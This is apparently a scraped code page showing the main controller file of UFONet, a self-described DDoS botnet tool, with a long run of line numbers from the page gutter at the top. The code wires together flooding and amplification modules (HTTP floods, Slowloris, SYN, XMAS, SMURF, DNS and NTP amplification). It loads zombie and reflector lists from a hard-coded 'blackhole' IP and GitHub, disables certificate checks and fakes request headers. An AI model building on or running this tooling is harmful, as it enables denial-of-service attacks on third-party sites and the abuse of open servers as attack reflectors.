main.py 250 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073307430753076307730783079308030813082308330843085308630873088308930903091309230933094309530963097309830993100310131023103310431053106310731083109311031113112311331143115311631173118311931203121312231233124312531263127312831293130313131323133313431353136313731383139314031413142314331443145314631473148314931503151315231533154315531563157315831593160316131623163316431653166316731683169317031713172317331743175317631773178317931803181318231833184318531863187318831893190319131923193319431953196319731983199320032013202320332043205320632073208320932103211321232133214321532163217321832193220322132223223322432253226322732283229323032313232323332343235323632373238323932403241324232433244324532463247324832493250325132523253325432553256325732583259326032613262326332643265326632673268326932703271327232733274327532763277327832793280328132823283328432853286328732883289329032913292329332943295329632973298329933003301330233033304330533063307330833093310331133123313331433153316331733183319332033213322332333243325332633273328332933303331333233333334333533363337333833393340334133423343334433453346334733483349335033513352335333543355335633573358335933603361336233633364336533663367336833693370337133723373337433753376337733783379338033813382338333843385338633873388338933903391339233933394339533963397339833993400340134023403340434053406340734083409341034113412341334143415341634173418341934203421342234233424342534263427342834293430343134323433343434353436343734383439344034413442344334443445344634473448344934503451345234533454345534563457345834593460346134623463346434653466346734683469347034713472347334743475347634773478347934803481348234833484348534863487348834893490349134923493349434953496349734983499350035013502350335043505350635073508350935103511351235133514351535163517351835193520352135223523352435253526352735283529353035313532353335343535353635373538353935403541354235433544354535463547354835493550355135523553355435553556355735583559356035613562356335643565356635673568356935703571357235733574357535763577357835793580358135823583358435853586358735883589359035913592359335943595359635973598359936003601360236033604360536063607360836093610361136123613361436153616361736183619362036213622362336243625362636273628362936303631363236333634363536363637363836393640364136423643364436453646364736483649365036513652365336543655365636573658365936603661366236633664366536663667366836693670367136723673367436753676367736783679368036813682368336843685368636873688368936903691369236933694369536963697369836993700370137023703370437053706370737083709371037113712371337143715371637173718371937203721372237233724372537263727372837293730373137323733373437353736373737383739374037413742374337443745374637473748374937503751375237533754375537563757375837593760376137623763376437653766376737683769377037713772377337743775377637773778377937803781378237833784378537863787378837893790379137923793379437953796379737983799380038013802380338043805380638073808380938103811381238133814381538163817381838193820382138223823382438253826382738283829383038313832383338343835383638373838383938403841384238433844384538463847384838493850385138523853385438553856385738583859386038613862386338643865386638673868386938703871387238733874387538763877387838793880388138823883388438853886388738883889389038913892389338943895389638973898389939003901390239033904390539063907390839093910391139123913391439153916391739183919392039213922392339243925392639273928392939303931393239333934393539363937393839393940394139423943394439453946394739483949395039513952395339543955395639573958395939603961396239633964396539663967396839693970397139723973397439753976397739783979398039813982398339843985398639873988398939903991399239933994399539963997399839994000400140024003400440054006400740084009401040114012401340144015401640174018401940204021402240234024402540264027402840294030403140324033403440354036403740384039404040414042404340444045404640474048404940504051405240534054405540564057405840594060406140624063406440654066406740684069407040714072407340744075407640774078407940804081408240834084408540864087408840894090409140924093409440954096409740984099410041014102410341044105410641074108410941104111411241134114411541164117411841194120412141224123412441254126412741284129413041314132413341344135413641374138413941404141414241434144414541464147414841494150415141524153415441554156415741584159416041614162416341644165416641674168416941704171417241734174417541764177417841794180418141824183418441854186418741884189419041914192419341944195419641974198419942004201420242034204420542064207420842094210421142124213421442154216421742184219422042214222422342244225422642274228422942304231423242334234423542364237423842394240424142424243424442454246424742484249425042514252425342544255425642574258425942604261426242634264426542664267426842694270427142724273427442754276427742784279428042814282428342844285428642874288428942904291429242934294429542964297429842994300430143024303430443054306430743084309431043114312431343144315431643174318431943204321432243234324432543264327432843294330433143324333433443354336433743384339434043414342434343444345434643474348434943504351435243534354435543564357435843594360436143624363436443654366436743684369437043714372437343744375437643774378437943804381438243834384438543864387438843894390439143924393439443954396439743984399440044014402440344044405440644074408440944104411441244134414441544164417441844194420442144224423442444254426442744284429443044314432443344344435443644374438443944404441444244434444444544464447444844494450445144524453445444554456445744584459446044614462446344644465446644674468446944704471447244734474447544764477447844794480448144824483448444854486448744884489449044914492449344944495449644974498449945004501450245034504450545064507450845094510451145124513451445154516451745184519452045214522452345244525452645274528452945304531453245334534453545364537453845394540454145424543454445454546454745484549455045514552455345544555455645574558455945604561456245634564456545664567456845694570457145724573457445754576457745784579458045814582458345844585458645874588458945904591459245934594459545964597459845994600460146024603460446054606460746084609461046114612461346144615461646174618461946204621462246234624462546264627462846294630463146324633463446354636463746384639464046414642464346444645464646474648464946504651465246534654465546564657465846594660466146624663466446654666466746684669467046714672467346744675467646774678467946804681468246834684468546864687468846894690469146924693469446954696469746984699470047014702470347044705470647074708470947104711471247134714471547164717471847194720472147224723472447254726472747284729473047314732473347344735473647374738473947404741474247434744474547464747474847494750475147524753475447554756475747584759476047614762476347644765476647674768476947704771477247734774477547764777477847794780478147824783478447854786478747884789479047914792479347944795479647974798479948004801480248034804480548064807480848094810481148124813481448154816481748184819482048214822482348244825482648274828482948304831483248334834483548364837483848394840484148424843484448454846484748484849485048514852485348544855485648574858485948604861486248634864486548664867486848694870487148724873487448754876487748784879488048814882488348844885488648874888488948904891489248934894489548964897489848994900490149024903490449054906490749084909491049114912491349144915491649174918491949204921492249234924492549264927492849294930493149324933493449354936493749384939494049414942494349444945494649474948494949504951495249534954495549564957495849594960496149624963496449654966496749684969497049714972497349744975497649774978497949804981498249834984498549864987498849894990499149924993499449954996499749984999500050015002500350045005500650075008500950105011501250135014501550165017501850195020502150225023
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import os, sys, re, traceback, random, time, threading, base64, string, math
  11. import io, socket, ssl, cgi, json, gzip
  12. try:
  13. from urllib.parse import urlparse as urlparse
  14. except:
  15. from urlparse import urlparse as urlparse
  16. try:
  17. import urllib.request, urllib.error, urllib.parse
  18. except:
  19. print ("\n[Error] UFONet no longer supports Python2: (https://www.python.org/doc/sunset-python-2/)\n\n[Info] [AI] Try to run the tool with Python3.x.y (ex: python3 ufonet)\n")
  20. sys.exit()
  21. from uuid import getnode
  22. from random import randrange, shuffle
  23. from .options import UFONetOptions
  24. from .update import Updater
  25. from .herd import Herd
  26. from .zombie import Zombie
  27. from .doll import Doll
  28. from core.tools.inspector import Inspector
  29. from core.tools.abductor import Abductor
  30. from core.tools.ufoscan import UFOSCAN
  31. from core.mods.loic import LOIC
  32. from core.mods.loris import LORIS
  33. from core.mods.ufosyn import UFOSYN
  34. from core.mods.spray import SPRAY
  35. from core.mods.smurf import SMURF
  36. from core.mods.xmas import XMAS
  37. from core.mods.nuke import NUKE
  38. from core.mods.tachyon import TACHYON
  39. from core.mods.monlist import MONLIST
  40. DEBUG = False # use 'True' for detailed traceback
  41. class UFONet(object):
  42. def __init__(self):
  43. self.exit_msg = 'Donate BTC (Bitcoin) to keep UFONet (https://ufonet.03c8.net) strong!' # set msg show at the end [FILO ;-)]
  44. self.blackhole = '176.28.23.46' # default download/upload zombies [Blackhole] [Server] / Try [DIY] your own [Mirror]...
  45. self.GIT_REPOSITORY = 'https://code.03c8.net/epsylon/ufonet' # oficial code source [OK! 22/12/2018]
  46. self.GIT_REPOSITORY2 = 'https://github.com/epsylon/ufonet' # mirror source [since: 04/06/2018]
  47. self.github_zombies = 'https://raw.githubusercontent.com/epsylon/ufonet/master/botnet/' # default [RAW] download/upload zombies [Blackhole] [GitHub] [DIY]
  48. self.external_check_service1 = 'https://status.ws/' # set external check service 1 [OK! 26/02/2020]
  49. self.external_check_service2 = 'https://downforeveryoneorjustme.com/' # set external check service 2 [OK! 26/02/2020]
  50. self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site
  51. self.check_ip_service1 = 'https://checkip.dyndns.com/' # set external check ip service 1 [OK! 28/02/2019]
  52. self.check_ip_service2 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 28/02/2019]
  53. self.check_ip_service3 = 'https://ip.42.pl/ra' # set external check ip service 3 [OK! 28/02/2019]
  54. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  55. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  56. self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve [Zombies]
  57. self.aliens_file = 'botnet/aliens.txt' # set source path to retrieve [Aliens]
  58. self.dnss_file = 'botnet/dns.txt' # set source path to retrieve [DNSs]
  59. self.droids_file = 'botnet/droids.txt' # set source path to retrieve [Droids]
  60. self.ucavs_file = 'botnet/ucavs.txt' # set source path to retrieve 'ucavs'
  61. self.rpcs_file = 'botnet/rpcs.txt' # set source path to retrieve 'rpcs'
  62. self.ntps_file = 'botnet/ntp.txt' # set source path to retrieve [NTPs]
  63. self.humans_file = 'botnet/humans.txt' # set source path to retrieve 'humans'
  64. self.dorks_file = 'botnet/dorks.txt' # set source path to retrieve [Dorks]
  65. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  66. self.timeline_file = 'docs/VERSION' # set source for code releases
  67. self.news_file = "data/news.txt" # set source path to retrieve [Blackhole] [News]
  68. self.missions_file = "data/missions.txt" # set source path to retrieve [Blackhole] [Missions]
  69. self.board_file = "data/board.txt" # set source path to retrieve [Blackhole] [Board]
  70. self.grid_file = "data/grid.txt" # set source path to retrieve [Blackhole] [Grid]
  71. self.wargames_file = "data/wargames.txt" # set source path to retrieve [Blackhole] [Wargames]
  72. self.examples_file = "docs/examples.txt" # set source path to retrieve [Examples]
  73. self.misc_file = "core/txt/misc.txt" # set source path to retrieve [Miscellania] cites
  74. self.referer = '' # black magic
  75. self.port = "8080" # default injection port
  76. self.mothershipname = "core/txt/shipname.txt"
  77. self.mothership_baptism() # generating static name/id for your mothership ;-)
  78. self.head = False
  79. self.payload = False
  80. self.external = False
  81. self.attack_mode = False
  82. self.connection_failed = False
  83. self.total_possible_zombies = 0
  84. self.herd = Herd(self)
  85. self.sem = False
  86. self.db_flash = 0 # db stress counter
  87. self.total_aliens = 0
  88. self.aliens_hit = 0
  89. self.aliens_fail = 0
  90. self.total_droids = 0
  91. self.droids_hit = 0
  92. self.droids_fail = 0
  93. self.total_ucavs = 0
  94. self.ucavs_hit = 0
  95. self.ucavs_fail = 0
  96. self.total_rpcs = 0
  97. self.rpcs_hit = 0
  98. self.rpcs_fail = 0
  99. self.total_loic = 0
  100. self.total_loris = 0
  101. self.total_syn = 0
  102. self.total_spray = 0
  103. self.total_smurf = 0
  104. self.total_xmas = 0
  105. self.total_nuke = 0
  106. self.total_tachyon = 0
  107. self.total_monlist = 0
  108. self.total_zombies_failed_connection = 0
  109. self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)
  110. self.ctx.check_hostname = False
  111. self.ctx.verify_mode = ssl.CERT_NONE
  112. self.nat_error_flag = "OFF"
  113. self.trans_zombies = 0
  114. self.scanned_zombies = 0
  115. self.loadcheck_counter = 0
  116. self.loadcheck_prev_size = None
  117. self.loadcheck_prev_load = None
  118. self.loadcheck_first_size = None
  119. self.loadcheck_first_load = None
  120. self.loadcheck_size_list = []
  121. self.loadcheck_load_list = []
  122. self.loadcheck_size_median = None
  123. self.loadcheck_size_max = None
  124. self.loadcheck_size_min = None
  125. self.loadcheck_load_median = None
  126. self.loadcheck_size_max = None
  127. self.loadcheck_size_min = None
  128. self.num_is_up = 0 # counter for [UCAVs] 'up' reports
  129. self.num_is_down = 0 # counter for [UCAVs] 'down' reports
  130. self.expire_timing = 30 # default expiring time per round
  131. self.extra_zombies_lock = False # used to lock threading flow when [ARMY] is required
  132. self.ac_control = [] # used by 'herd.py' to lock threading flow when [Zombies] are returning
  133. def mothership_baptism(self):
  134. if os.path.exists(self.mothershipname) == True:
  135. f = open(self.mothershipname)
  136. self.mothership_id = f.read()
  137. f.close()
  138. else:
  139. self.mothership_ids = []
  140. f = open(self.motherships_file)
  141. motherships = f.readlines()
  142. f.close()
  143. for ship in motherships:
  144. ship = ship.encode("utf-8")
  145. self.mothership_ids.append(base64.urlsafe_b64encode(ship))
  146. try:
  147. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'utf-8')
  148. except:
  149. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'latin-1')+"\n" # id (hack&slash!) creation ;-)
  150. m = open(self.mothershipname, "w") # write mothership name to a static file as a baptism
  151. m.write(str(self.mothership_id.upper()))
  152. m.close()
  153. def create_options(self, args=None):
  154. self.optionParser = UFONetOptions()
  155. self.options = self.optionParser.get_options(args)
  156. if not self.options:
  157. return False
  158. return self.options
  159. def banner_welcome(self):
  160. print("")
  161. print(" 0=============================================0")
  162. print(" || ||")
  163. print(" || || || * Botnet -> [DDoS]: ||")
  164. print(" -(00)- -(00)- || /Zombies : HTTP GET bots ||")
  165. print(" || (00) || || /Droids : HTTP GET (+params) bots ||")
  166. print(" (O)_ (O) 0'----'0 (O) _(O) || /Aliens : HTTP POST bots ||")
  167. print(" | |.''.( xx ).''.| | || /UCAVs : Web Abusing bots ||")
  168. print(" .'.' X|'..'|X '.'. || /X-RPCs : XML-RPC bots ||")
  169. print(" .-. .' /'--.__|_00_|__.--'\ '. .-. || /DBSTRESS: HTTP DB attack ||")
  170. print(" (O).)-|0| \ x| ## |x / |0|-(.(O) || /SPRAY : TCP-SYN reflector ||")
  171. print(" `-' '-'-._'-./ -00- \.-'_.-'-' `-' || /SMURF : ICMP echo flooder ||")
  172. print(" _ | || '-.___||___.-' || | _ || /TACHYON : DNS amplificator ||")
  173. print(" .' _ | ||==O | __ | O==|| | _ '. || /MONLIST : NTP amplificator ||")
  174. print(" / .' ''.| || | /_00_\ | || |.'' '. \ || ||")
  175. print(" | '### | =| | ###### | |= |' ### | || * Close Combat -> [DoS]: ||")
  176. print(" | |(0)| '. 0\||__**_ ||/0 .' |(0)| | || /LOIC : Fast HTTP requests ||")
  177. print(" \ '._.' '. | \_##_/ | .' '._.' / || /LORIS : Slow HTTP requests ||")
  178. print(" '.__ ____0_'.|__'--'__|.'_0____ __.' || /UFOSYN : TCP-SYN flooder ||")
  179. print(" .'_.-| |-._'. || /XMAS : TCP-XMAS flooder ||")
  180. print(" || /NUKE : TCP-STARVATION attack ||")
  181. print(" + Class: UFONet / ViPR404+ (model G) + || ||")
  182. print(" 0|===========================================|0")
  183. print("")
  184. def banner(self):
  185. print('='*75, "\n")
  186. print("888 888 8888888888 .d88888b. 888b 888 888 ")
  187. print("888 888 888 d88P Y888b 8888b 888 888 ")
  188. print("888 888 888 888 888 88888b 888 888 ")
  189. print("888 888 8888888 888 888 888Y88b 888 .d88b. 888888 ")
  190. print("888 888 888 888 888 888 Y88b888 d8P Y8b 888 ")
  191. print("888 888 888 888 888 888 Y88888 88888888 888 ")
  192. print("Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. ")
  193. print(" 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888")
  194. print(self.optionParser.description, "\n")
  195. print('='*75)
  196. def generate_exit_msg(self):
  197. f = open(self.misc_file)
  198. m = f.readlines()
  199. f.close()
  200. self.exit_msg = "Generating random exit... \n\n"
  201. self.exit_msg += " -> "+str(random.choice(m).strip())
  202. def AI(self):
  203. try:
  204. import turtle as AI
  205. print("\n[AI] Making a unique drawing using 'Turtle' (Feurzig & Papert - 1966) -> [OK!]\n")
  206. colors = ['red', 'purple', 'blue', 'green', 'orange', 'yellow']
  207. bg = random.choice(colors).strip()
  208. t = AI.Pen()
  209. AI.bgcolor(bg)
  210. r = random.randrange(100,100000)
  211. for x in range(r):
  212. t.pencolor(colors[x%6])
  213. w = random.randrange(100,1000)
  214. t.width(x/w + 1)
  215. t.forward(x)
  216. l = random.randrange(50,1000)
  217. t.left(l)
  218. except:
  219. print("[AI] %!$1#9#84#~... -> [Exiting!]")
  220. pass
  221. def round_float(self, num):
  222. return str(int(round(num, -1)))[2] # black magic
  223. def show_mac_address(self):
  224. mac = getnode() # to get physical address
  225. hex_mac = str(":".join(re.findall('..', '%012x' % mac)))
  226. return hex_mac
  227. def show_ips(self):
  228. import requests
  229. try:
  230. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  231. s.connect(("8.8.8.8", 80))
  232. private_ip = s.getsockname()[0] # black magic
  233. s.close()
  234. except:
  235. private_ip = "Unknown"
  236. try:
  237. public_ip = requests.get(self.check_ip_service3).text
  238. except:
  239. try:
  240. public_ip = requests.get(self.check_ip_service2).text
  241. except:
  242. try:
  243. public_ip = requests.get(self.check_ip_service1).text
  244. except:
  245. public_ip = "Unknown"
  246. return private_ip, public_ip
  247. def try_running(self, func, error, args=None):
  248. options = self.options
  249. args = args or []
  250. try:
  251. return func(*args)
  252. except Exception as e:
  253. if DEBUG == True:
  254. print(error, "error")
  255. traceback.print_exc()
  256. def checkeuid(self):
  257. try:
  258. euid = os.geteuid()
  259. except:
  260. print("[Error] [AI] [UFONet] doesn't work correctly in systems with closed licenses...-> [Exiting!]\n")
  261. print("[AI] "+self.exit_msg+"\n")
  262. sys.exit(2) # return
  263. return euid
  264. def start_ship_engine(self):
  265. self.agents = [] # generating available user-agents
  266. f = open(self.agents_file)
  267. agents = f.readlines()
  268. f.close()
  269. for agent in agents:
  270. self.agents.append(agent)
  271. self.user_agent = random.choice(self.agents).strip()
  272. self.search_engines = [] # available dorking search engines
  273. self.search_engines.append('bing') # [01/02/2020: OK!]
  274. self.search_engines.append('yahoo') # [01/02/2020: OK!]
  275. self.search_engines.append('duck') # [01/02/2020: OK!]
  276. #self.search_engines.append('startpage') # [01/02/2020: deprecated! -> blocking instream params search]
  277. #self.search_engines.append('yandex') # [03/02/2018: deprecated! -> captchasound]
  278. #self.search_engines.append('google') # [09/08/2016: modified -> not working from TOR]
  279. if not os.path.exists("core/json/"): # create gui json cfg files folder
  280. os.mkdir("core/json/")
  281. self.banner_welcome()
  282. self.update_flying_stats() # update flying time stats
  283. chargo = self.check_mothership_chargo() # check mothership chargo
  284. self.update_max_chargo(int(chargo)) # update max chargo stats
  285. self.generate_exit_msg() # generate random exit msg
  286. def run(self, opts=None):
  287. if opts:
  288. self.create_options(opts)
  289. options = self.options
  290. # start threads
  291. if not self.options.threads:
  292. self.options.threads=5 # default number of threads
  293. self.sem = threading.Semaphore(self.options.threads)
  294. # start ship engine
  295. self.start_ship_engine()
  296. # check proxy options
  297. proxy = options.proxy
  298. if options.proxy:
  299. try:
  300. pattern = 'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'
  301. m = re.search(pattern, proxy)
  302. if m is None:
  303. self.banner()
  304. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  305. return
  306. else:
  307. self.proxy_transport(options.proxy) # create proxy transport (also here, to be sure)
  308. except Exception:
  309. self.banner()
  310. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  311. return
  312. # check tor connection
  313. if options.checktor:
  314. url = self.check_tor_url # TOR status checking site
  315. self.banner()
  316. print("\nSending request to: " + url + "\n")
  317. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  318. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  319. try:
  320. if options.proxy: # set proxy
  321. self.proxy_transport(options.proxy)
  322. req = urllib.request.Request(url, None, headers)
  323. tor_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  324. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
  325. if not tor_reply or 'Congratulations' not in tor_reply:
  326. print("It seems that Tor is not properly set.\n")
  327. print(("IP address appears to be: " + your_ip + "\n"))
  328. else:
  329. print("Congratulations!. Tor is properly being used :-)\n")
  330. print(("IP address appears to be: " + your_ip + "\n"))
  331. except:
  332. print("Cannot reach TOR checker system!. Are you correctly connected?\n")
  333. sys.exit(2) # return
  334. # run AES256+HMAC-SHA1 enc/dec tool
  335. if options.cryptomsg:
  336. from core.tools.crypter import Cipher
  337. print(" " + '='*44)
  338. print(" ")
  339. print(" ____...------------...____ ")
  340. print(" _.-'' /o/__ ____ __ __ __ \o\_`'-._ ")
  341. print(" .' / / \ \ '. ")
  342. print(" |=====/o/======================\o\=====| ")
  343. print(" |____/_/________..____..________\_\____| ")
  344. print(" / _/ \_ <_o#\__/#o_> _/ \_ \ ")
  345. print(" \__/_____\####/0213411543/####/_____\__/ ")
  346. print(" |===\!/========================\!/===| ")
  347. print(" | |=| .---. |=| | ")
  348. print(" |===|o|=========/ \========|o|===| ")
  349. print(" | | | \() ()/ | | | ")
  350. print(" |===|o|======{'-.) A (.-'}=====|o|===| ")
  351. print(" | __/ \__ '-.\\uuu/.-' __/ \__ | ")
  352. print(" |==== .'.'^'.'.====|====.'.'^'.'.====| ")
  353. print(" | _\o/ __ {.' __ '.} _ _\o/ _| ")
  354. print(" '''''''''''''''''''''''''''''''''''''' ")
  355. print("\n + UFONet Crypter (AES256+HMAC-SHA1)")
  356. print(" (140 plain text chars = 69 encrypted chars)\n")
  357. print(" " + '='*44 + "\n")
  358. text = str(input("-> Enter TEXT: "))
  359. input_key = str(input("\n-> Enter KEY: "))
  360. key = base64.b64encode(input_key.encode('utf-8')).decode('utf-8')
  361. c = Cipher(key, text)
  362. msg = c.encrypt()
  363. msg = msg.decode('utf-8')
  364. c.set_text(msg)
  365. print("\n" + " " + '-'*44)
  366. print('\n-> Ciphertext: [', msg, ']')
  367. print('\n-> Length:', len(msg))
  368. print("\n" + " " + '-'*44)
  369. print('\n-> Key (share it using SNEAKNET!):', input_key)
  370. print('\n-> Decryption PoC:', c.decrypt().decode('utf-8'), "\n")
  371. # run shownet tool
  372. if options.shownet:
  373. hex_mac = self.show_mac_address()
  374. self.banner()
  375. print("-> Network Info:")
  376. print('='*44)
  377. print("-"*35)
  378. print("|- MAC Address :", hex_mac)
  379. print("|" +"-"*34)
  380. private_ip, public_ip = self.show_ips()
  381. print("|- IP Private :", private_ip)
  382. print("|" +"-"*34)
  383. t = urlparse(self.check_ip_service3)
  384. name_service = t.netloc
  385. print("|- IP Public :", public_ip +" | ["+name_service+"]")
  386. print("-"*35)
  387. print('='*75, "\n")
  388. # run UFOSCAN tool (check EUID when running UFOSCAN)
